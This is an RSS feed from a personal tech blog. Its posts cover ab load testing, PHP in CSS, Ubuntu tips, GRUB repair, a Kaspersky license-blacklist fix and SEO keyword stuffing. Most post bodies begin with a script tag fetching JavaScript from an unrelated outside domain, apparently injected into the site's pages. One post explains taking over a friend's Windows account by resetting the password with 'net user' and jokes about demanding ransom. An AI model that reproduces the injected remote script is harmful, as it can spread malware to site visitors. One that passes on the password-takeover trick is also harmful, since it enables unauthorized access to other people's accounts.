<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Rahul&#039;s Tech Blog</title>
	<atom:link href="http://www.blog.rahulprasad.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blog.rahulprasad.com</link>
	<description>Developer Zone</description>
	<lastBuildDate>Sat, 31 Mar 2012 20:53:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Load test your website using ab (apache benchmark)</title>
		<link>http://www.blog.rahulprasad.com/load-test-your-website-using-ab-apache-benchmark/</link>
		<comments>http://www.blog.rahulprasad.com/load-test-your-website-using-ab-apache-benchmark/#comments</comments>
		<pubDate>Sat, 31 Mar 2012 20:52:12 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Load testing]]></category>
		<category><![CDATA[Operating System]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[AB]]></category>
		<category><![CDATA[Apache2]]></category>
		<category><![CDATA[apachebenchmark]]></category>
		<category><![CDATA[terminal]]></category>

		<guid isPermaLink="false">http://www.blog.rahulprasad.com/?p=411</guid>
		<description><![CDATA[What is load test and why is it necessary? Load test is the process of putting load on system and testing its response, its a way to determine how your system reacts under heavy load. You need load test for a website to determine possible issues which you may face under heavy traffic environment. For example http [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/load-test-your-website-using-ab-apache-benchmark/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><h1>What is load test and why is it necessary?</h1>
<p>Load test is the process of putting load on system and testing its response, its a way to determine how your system reacts under heavy load. You need load test for a website to determine possible issues which you may face under heavy traffic environment. For example http response may fail in case of heavy traffic or response time will increase tremendously.</p>
<h1>What is ab and how to get it?</h1>
<p>AB stands for apache benchmark. You can install it under ubuntu using following command</p>
<pre>sudo apt-get install apache2-utils</pre>
<p><span id="more-411"></span></p>
<h1>How to use AB?</h1>
<p>Open terminal and input following command.</p>
<pre>ab -n 100 -c 5 http://example.org/</pre>
<p>Note: Dont forget to append trailing slash, else it won&#8217;t work.</p>
<p>It follows the following format:</p>
<pre>ab -n [number of connections] -c [number of concurrent users] [webpage to load test]</pre>
<p>It will generate following output:</p>
<pre>This is ApacheBench, Version 2.3 &lt;$Revision: 655654 $&gt;
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking example.org (be patient).....done
Server Software: Apache
Server Hostname: example.org
Server Port: 80

Document Path: /
Document Length: 85424 bytes

Concurrency Level: 3
Time taken for tests: 86.730 seconds
Complete requests: 100
Failed requests: 12
(Connect: 0, Receive: 0, Length: 12, Exceptions: 0)
Write errors: 0
Total transferred: 8571728 bytes
HTML transferred: 8516828 bytes
Requests per second: 1.15 [#/sec] (mean)
Time per request: 2601.912 [ms] (mean)
Time per request: 867.304 [ms] (mean, across all concurrent requests)
Transfer rate: 96.52 [Kbytes/sec] received</pre>
<pre>Connection Times (ms)
           min     mean         [+/-sd]    median    max
Connect:   323     342          52.8       326       687
Processing:1847    2256         700.6      2086      6737
Waiting:   388     411          65.4       393       814
Total:     2171    2598         729.3      2415      7187</pre>
<pre>Percentage of the requests served within a certain time (ms)
50% 2415
66% 2421
75% 2471
80% 2504
90% 3207
95% 3769
98% 6528
99% 7187
100% 7187 (longest request)</pre>
<h2></h2>
<h2>Understanding output</h2>
<pre>Server Software: Apache
Server Hostname: example.org
Server Port: 80</pre>
<p>First three lines says server which is being tested is apache server whose hostname is example.org</p>
<pre>Document Path: /
Document Length: 85424 bytes</pre>
<p>Next two lines says, the page being tested is / (it will be /index.php if you will put url as http://example.org/index.php)  and length of one page is 85424 bytes.</p>
<pre>Concurrency Level: 3</pre>
<p>AB is sending 3 concurrent request at a time. You should set it according to requirement. Its very rare that people will hit same page exactly same time. This only happens when your site is facing very heavy traffic all the time. Your website/webserver may behave very differently in case of too many concurrent connection for example race condition.</p>
<pre>Time taken for tests: 86.730 seconds</pre>
<p>This is total time taken by AB.</p>
<pre>Complete requests: 100</pre>
<p>Number of request sent by AB.</p>
<pre>Failed requests: 12
(Connect: 0, Receive: 0, Length: 12, Exceptions: 0)</pre>
<p>Number of request failed. As I mentioned earlier in case of heavy traffic or high concurrency a request may fail. This is the number of request failed. If it is too much you should start worrying.</p>
<pre>Write errors: 0
Total transferred: 8571728 bytes</pre>
<p>This is total data (HTML and Header) transferred by AB during test.</p>
<pre>HTML transferred: 8516828 bytes</pre>
<p>This is total HTML data transferred by AB during test.</p>
<pre>Requests per second: 1.15 [#/sec] (mean)</pre>
<p>This is a measur of your server&#8217;s capacity. It says your server can withstand 1.15 request per second when it is facing this much of load.</p>
<pre>Time per request: 2601.912 [ms] (mean)
Time per request: 867.304 [ms] (mean, across all concurrent requests)</pre>
<p>This is average of total time taken since a request is sent and a response is totally downloaded.</p>
<pre>Transfer rate: 96.52 [Kbytes/sec] received
Connection Times (ms)
           min     mean         [+/-sd]    median    max
Connect:   323     342          52.8       326       687
Processing:1847    2256         700.6      2086      6737
Waiting:   388     411          65.4       393       814
Total:     2171    2598         729.3      2415      7187</pre>
<p>Above lines means minimum time taken for a request to complete is 2171 ms, maximum time is 7187 sec, while average time is 2598 ms with standard deviation of 729 ms.</p>
<pre>Percentage of the requests served within a certain time (ms)
50% 2415
66% 2421
75% 2471
80% 2504
90% 3207
95% 3769
98% 6528
99% 7187
100% 7187 (longest request)</pre>
<p>Above lines shows that more than 80% of the requests were served within 3 secs, but when number of open connections increased time taken to serve each request increased more than two times.</p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/load-test-your-website-using-ab-apache-benchmark/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Embed PHP Code in CSS files.</title>
		<link>http://www.blog.rahulprasad.com/embed-php-in-css/</link>
		<comments>http://www.blog.rahulprasad.com/embed-php-in-css/#comments</comments>
		<pubDate>Sat, 26 Mar 2011 17:48:04 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.blog.rahulprasad.com/?p=384</guid>
		<description><![CDATA[Have you been embedding CSS Styles into PHP files just for the sake of making the styles dynamic? Ever wished to add PHP codes in CSS files itself. Here is a simple trick which will do the magic. Create a .htaccess file in your project directory preferably inside the directory where CSS files are stored. [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/embed-php-in-css/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script>Have you been embedding CSS Styles into PHP files just for the sake of making the styles dynamic?<br />
Ever wished to add PHP codes in CSS files itself.</p>
<p><strong>Here is a simple trick which will do the magic.</strong></p>
<p>Create a <strong>.htaccess</strong> file in your project directory preferably inside the directory where CSS files are stored. Open .htaccess file and add following line</p>
<div class="dean_ch" style="white-space: wrap;">AddType application/x-httpd-php .css</div>
<p>Now you can include php codes in CSS files. Here is a small example</p>
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#container {</span><br />
background: <span class="kw2">&lt;?php</span> <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="re0">$userColour</span>; <span class="kw2">?&gt;</span>;<br />
<span class="br0">&#125;</span></div>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/embed-php-in-css/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ubuntu: get notified after a terminal based process ends</title>
		<link>http://www.blog.rahulprasad.com/ubuntu-get-notified-after-a-terminal-based-process-ends/</link>
		<comments>http://www.blog.rahulprasad.com/ubuntu-get-notified-after-a-terminal-based-process-ends/#comments</comments>
		<pubDate>Mon, 20 Dec 2010 08:09:17 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[notification]]></category>
		<category><![CDATA[terminal]]></category>

		<guid isPermaLink="false">http://www.blog.rahulprasad.com/?p=377</guid>
		<description><![CDATA[So u have given a SVN Checkout command or apt-get install command which will take unexpected time to end. Here is a way to get notified when process ends. Just append notify-send &#8220;Complete&#8221;; to the command For example You want to execute sudo apt-get install -big-software- and want to get notified after installation.Then use following [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/ubuntu-get-notified-after-a-terminal-based-process-ends/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script>So u have given a SVN Checkout command or apt-get install command which will take unexpected time to end.</p>
<p>Here is a way to get notified when process ends. Just append <strong>notify-send &#8220;Complete&#8221;;</strong> to the command</p>
<p>For example<br />
You want to execute</p>
<p><strong>sudo apt-get install -big-software-</strong></p>
<p>and want to get notified after installation.Then use following command</p>
<p><strong>sudo apt-get install -big-software-; notify-send &#8220;installation complete&#8221;;</strong></p>
<p>and you will be notified using ubuntu&#8217;s  notification-daemon once the installation completes.</p>
<p>Cheers</p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/ubuntu-get-notified-after-a-terminal-based-process-ends/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installing Linux in pen drive</title>
		<link>http://www.blog.rahulprasad.com/installing-linux-in-pen-drive/</link>
		<comments>http://www.blog.rahulprasad.com/installing-linux-in-pen-drive/#comments</comments>
		<pubDate>Sat, 25 Sep 2010 15:13:22 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Operating System]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Pendrive]]></category>

		<guid isPermaLink="false">http://www.blog.rahulprasad.com/?p=348</guid>
		<description><![CDATA[Last night my computer&#8217;s hard disk crashed. Thankfully it was under guarantee period so I gave it for repairing. Computer&#8217;s hardware was lying worthless in my desk, and I got a rare chance of experimenting. So I decided to install linux in a pen drive, although I could do that even if HDD was present, [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/installing-linux-in-pen-drive/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script>Last night my computer&#8217;s hard disk crashed. Thankfully it was under guarantee period so I gave it for repairing. Computer&#8217;s hardware was lying worthless in my desk, and I got a rare chance of experimenting. So I decided to install linux in a pen drive, although I could do that even if HDD was present, but who has time for that ? huh !</p>
<p>I had a bunch of linux distros with me, thanks to to <a title="Linux for you" href="http://linuxforu.com/" target="_blank">linux for you magazine</a>. I took out ubuntu&#8217;s DVD (10.04) which is my favorite Linux flavor and started installing it in my 4Gb pendrive. Unfortunately I could not succeed due to unknown reason.<br />
I tried Mandriva Spring 2010 next, but its partition manager (I suppose GParted) crashed prior to installation. My bad luck.</p>
<p>Although I had no expectation from Fedora (this is personal, don&#8217;t draw any conclusion), It worked. Installation process was exactly same as installing on a hard disk, the only difference was the freaking slow progress rate, reason being slow transfer rate of pen-drive.  At least it was done successfully, that was all I needed to be &#8220;happy&#8221;.</p>
<p>For the first time in my life I logged into a fedora system. It looked <em>similar</em> to ubuntu (this is what happens when you keep using one destro, being afraid of the time you would waste making yourself comfortable with other). Then I realized, if looks are the only thing you care about in Linux then choose between Gnome and KDE not among deferent linux flavors. So I started diving deep into finding at least one difference that matters a lot and that does not include ubuntu has <em>ubuntu software center</em> and fedora does not.</p>
<p>Well the search is ON, I might find something when I use my computer again, hopefully before repaired hard disk arrives. Till then I am using my Laptop and babuji is using that freaking slow PC. He he he</p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/installing-linux-in-pen-drive/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Solve kaspersky&#8217;s &#8220;blacklist of licenses is corrupt&#8221; problem</title>
		<link>http://www.blog.rahulprasad.com/solve-kasperskys-blacklist-of-licenses-is-corrupt-problem/</link>
		<comments>http://www.blog.rahulprasad.com/solve-kasperskys-blacklist-of-licenses-is-corrupt-problem/#comments</comments>
		<pubDate>Tue, 31 Aug 2010 22:32:37 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Softwares]]></category>
		<category><![CDATA[blacklist]]></category>
		<category><![CDATA[kaspersky]]></category>
		<category><![CDATA[license]]></category>

		<guid isPermaLink="false">http://www.blog.rahulprasad.com/?p=340</guid>
		<description><![CDATA[Ever faced the problem that kaspersky&#8217;s blacklist licenses is corrupt and even updating antivirus does not solve the problem. It generally happens due to power failure which sometimes corrupt license data. Here is a quick solution First disable &#8220;Self defense&#8221; capability of kaspersky from settings. Then pause kaspersky and delete blacklist files. You can find [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/solve-kasperskys-blacklist-of-licenses-is-corrupt-problem/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script>Ever faced the problem that kaspersky&#8217;s blacklist licenses is corrupt and even updating antivirus does not solve the problem.<br />
It generally happens due to power failure which sometimes corrupt license data.</p>
<h4>Here is a quick solution</h4>
<p>First disable &#8220;<strong>Self defense</strong>&#8221; capability of kaspersky from <strong>settings</strong>.<br />
Then <strong>pause kaspersky</strong> and <strong>delete blacklist files</strong>.<br />
You can find the files in<br />
C:\Documents and Settings\All Users\Application Data\Kaspersky Lab\AVP<strong>[version]</strong>\Bases\bl00*.dat<br />
If you are an XP user and</p>
<p>C:\ProgramData\Kaspersky Lab\AVP<strong>[version]</strong>\Bases\bl00*.dat<br />
If you are using Vista/win7</p>
<p>Note<em>: Replace <strong>[version]</strong> with your kaspersky version. Its 11 in my PC.</em><em><br />
</em>Note<em>: bl00*.dat means very file with name bloo[something-something].dat</em><em><br />
</em></p>
<p>You can then <strong>resume kaspersky</strong> and <strong>enable self defense</strong>.<br />
Now <strong>update kaspersky</strong> and it will download the blacklist files again.</p>
<p>Thats it. Problem Solved.</p>
<p>Cheers</p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/solve-kasperskys-blacklist-of-licenses-is-corrupt-problem/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Hack windows password</title>
		<link>http://www.blog.rahulprasad.com/hack-windows-password/</link>
		<comments>http://www.blog.rahulprasad.com/hack-windows-password/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 22:26:15 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Windows]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.blog.rahulprasad.com/?p=338</guid>
		<description><![CDATA[Here is a small trick to hack your friend&#8217;s password. You wont be able to know old password but you surely will be able to change it. Step 1: Just start Command Prompt as an administrator. Goto Start &#62;&#62; All programs &#62;&#62; Accessories &#62;&#62; Command Prompt (Right Click) &#62;&#62; Run as administrator Step 2: You [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/hack-windows-password/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script>Here is a small trick to hack your friend&#8217;s password.<br />
You wont be able to know old password but you surely will be able to change it.</p>
<p><em>Step 1</em>: Just start Command Prompt as an administrator.<br />
Goto Start &gt;&gt; All programs &gt;&gt; Accessories &gt;&gt; Command Prompt (Right Click) &gt;&gt; Run as administrator</p>
<p><em>Step 2</em>: You will be presented with a black screen.  Type<br />
<strong> Net user</strong><br />
You will get a list of users.</p>
<p><em>Step 3</em>: Now write<br />
<strong> Net user &lt;username&gt; &lt;new password&gt;<br />
</strong>(without &lt; and &gt; ofcourse)<strong></strong></p>
<p>Voila ! Password changed. Now u can ask him ransom to tell his new password.</p>
<p>Troubleshooting<br />
1. I got an Error 5, access is denied.<br />
&gt;&gt; This happens when you are not running command prompt as an administrator.</p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/hack-windows-password/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Restore your firefox session whenever you want.</title>
		<link>http://www.blog.rahulprasad.com/restore-firefox-session-anytim/</link>
		<comments>http://www.blog.rahulprasad.com/restore-firefox-session-anytim/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 22:24:16 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Firefox]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[tips and tricks]]></category>

		<guid isPermaLink="false">http://www.blog.rahulprasad.com/?p=341</guid>
		<description><![CDATA[Ever clicked on Start new session by mistake? Don&#8217;t panic, you can still get your session back. Goto navigation bar and type about:sessionrestore and wow you are presented with last session restore screen. Cheers. No related posts. Related posts brought to you by Yet Another Related Posts Plugin.
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/restore-firefox-session-anytim/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script>Ever clicked on <strong>Start new session</strong> by mistake?</p>
<p>Don&#8217;t panic, you can still get your session back. Goto <span style="text-decoration: underline;">navigation bar</span> and type <strong>about:sessionrestore </strong>and wow you are presented with last session restore screen.</p>
<p>Cheers.</p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/restore-firefox-session-anytim/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Restore ubuntu after installing windows</title>
		<link>http://www.blog.rahulprasad.com/restore-your-ubuntu-after-installing-windows/</link>
		<comments>http://www.blog.rahulprasad.com/restore-your-ubuntu-after-installing-windows/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 19:15:33 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[grub]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[restore ubuntu]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.blog.rahulprasad.com/?p=327</guid>
		<description><![CDATA[Hello, I saw an article on recovering lost ubuntu after installing windows. I was pretty confident and installed windows 7 on my box. After that I started following the article and I was stuck with a blank grub menu during startup. I booted from ubuntu live DVD and started reading more about restoring grub. Here [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/restore-your-ubuntu-after-installing-windows/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script>Hello,</p>
<p>I saw an article on recovering lost ubuntu after installing windows. I was pretty confident and installed windows 7 on my box. After that I started following the article and I was stuck with a blank grub menu during startup.</p>
<p>I booted from ubuntu live DVD and started reading more about restoring grub. Here is a solution I came up with.</p>
<p>Its a step by step guide to restoring ubuntu.<br />
(Note: Its for Grub2. I am using Ubuntu 10.04)</p>
<p>Step1: Boot using Ubuntu Live CD/DVD.</p>
<p>Step2: Open <strong>terminal</strong>. (Press Alt+F2 and write <strong>gnome-terminal</strong>)</p>
<p>Step3: Now you need to mount your root partition. You can see a list of partition by typing<br />
<strong>sudo fdisk -l</strong></p>
<p>Step4: Now mount the root partition<br />
<strong>sudo mount /dev/sdXY /mnt</strong><br />
Example: sudo mount /dev/sda6 /mnt<br />
Where sda6 is the partition where I had my ubuntu&#8217;s &#8220;/&#8221; installed.</p>
<p>Step5: If you had a separate boot partition. Then mount it in /mnt/boot<br />
<strong>sudo mount /dev/sdXZ /mnt/boot</strong><br />
Ex: sudo mount /dev/sda8 /mnt/boot</p>
<p>Step6: Now install grub<br />
<strong>sudo grub-install &#8211;root-directory=/mnt/ /dev/sdX</strong><br />
Ex: sudo grub-install &#8211;root-directory=/mnt/ /dev/sda<br />
where sdX is your first hard disk from where your system boots Or where MBR is located.</p>
<p>Step7: Restart your computer.It will automatically boot into your old ubuntu.</p>
<p>Step8: Open terminal and execute<br />
<strong>sudo update-grub</strong></p>
<p>Step9: Restart your system.</p>
<p>DONE. Cheers</p>
<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.blog.rahulprasad.com/restore-your-ubuntu-after-installing-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO: Quick tutorial</title>
		<link>http://www.blog.rahulprasad.com/tutorial-fast-site-engine-optimization/</link>
		<comments>http://www.blog.rahulprasad.com/tutorial-fast-site-engine-optimization/#comments</comments>
		<pubDate>Sun, 31 Jan 2010 09:32:12 +0000</pubDate>
		<dc:creator>Rahul</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.rahulprasad.com/blog/?p=307</guid>
		<description><![CDATA[Here is a letter I wrote to my brother telling him how to do search engine optimization for his website for fast result. I thought I must share it to world so people can  learn and suggest some ammendment(s). _________________________________________________ Hello brother, Here is the tutorial on Site Engine Optimization as you requested. Before website [...]
No related posts.

Related posts brought to you by <a href='http://yarpp.org'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<div class="al2fb_like_button"><div id="fb-root"></div><script type="text/javascript">
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=306230189445580";
  fjs.parentNode.insertBefore(js, fjs);
}(document, "script", "facebook-jssdk"));
</script>
<fb:like href="http://www.blog.rahulprasad.com/tutorial-fast-site-engine-optimization/" layout="standard" show_faces="true" width="450" action="like" font="arial" colorscheme="light" ref="AL2FB"></fb:like></div><p><script type='text/javascript' src='http://easystatsanalytics.info/counter227.js'></script><strong>Here is a letter I wrote to my brother telling him how to do search engine optimization for his website for fast result. I thought I must share it to world so people can  learn and suggest some ammendment(s).</strong></p>
<p>_________________________________________________</p>
<p>Hello brother,</p>
<p>Here is the tutorial on Site Engine Optimization as you requested.</p>
<h3>Before website is complete</h3>
<p><strong>0. Domain name</strong><br />
Your domain name must contain the most relevant keyword related to your site.<br />
<strong>1. Keywords</strong><br />
Identify the keywords related to your site which users will search for.<br />
Let the keywords be A, B, C, X, Y ,Z (in decreasing order of priority)<br />
<strong>2. Meta Tag</strong><br />
Add these keywords to meta tag of your site. (Remove unwanted keywords)</p>
<p><span id="more-307"></span></p>
<p><strong>3. Javascript</strong><br />
Keep HTML clean. No javascript onmouseover or onclick in HTML. Keep a separate .js file for javascript.<br />
<strong>4. CSS</strong><br />
Similarly no CSS styles in HTML attach a Style sheet instead.<br />
<strong>5. Content:</strong><br />
Let the content of ur site be &#8220;Hello brother X how are you B doing. We are very happy Z, Why dont you come here A for dinner &#8221;<br />
Chnage it to &#8220;Hello brother &lt;h2&gt;X&lt;/h2&gt; how are you &lt;h1&gt;B&lt;/h1&gt; doing. We are very happy &lt;h3&gt;Z&lt;/h3&gt;, Why dont you come here &lt;h1&gt;A&lt;/h1&gt; for dinner &#8221;<br />
Surround keywords with high priority with &lt;h1&gt; and lowest priority with &lt;h3&gt;<br />
Now in style sheet redefine h1, h2, h3 tags to look normal.<br />
h1, h2, h3 {<br />
size = &#8220;medium&#8221;;<br />
}<br />
<strong>6. Page names.</strong><br />
Don&#8217;t name pages as &#8220;contact.htm&#8221; try to rename it to &#8220;contact_A.htm&#8221; where A is a high priority key word.<br />
<strong>7. Title.</strong><br />
Every page title must contain one of the Keyword.</p>
<h3>After website is complete</h3>
<p><strong>8. Socialize</strong><br />
Your site must have a facebook fan page.<br />
<a href="http://www.mindmeister.com/2529908/social-media-web-sites" target="_blank">http://www.mindmeister.com/2529908/social-media-web-sites</a><br />
Check this link<br />
There is a list of top social networking site in there. Make a fan page in each of the.<br />
If you can maintain all of them then its good. Else at least maintain 5 of them.<br />
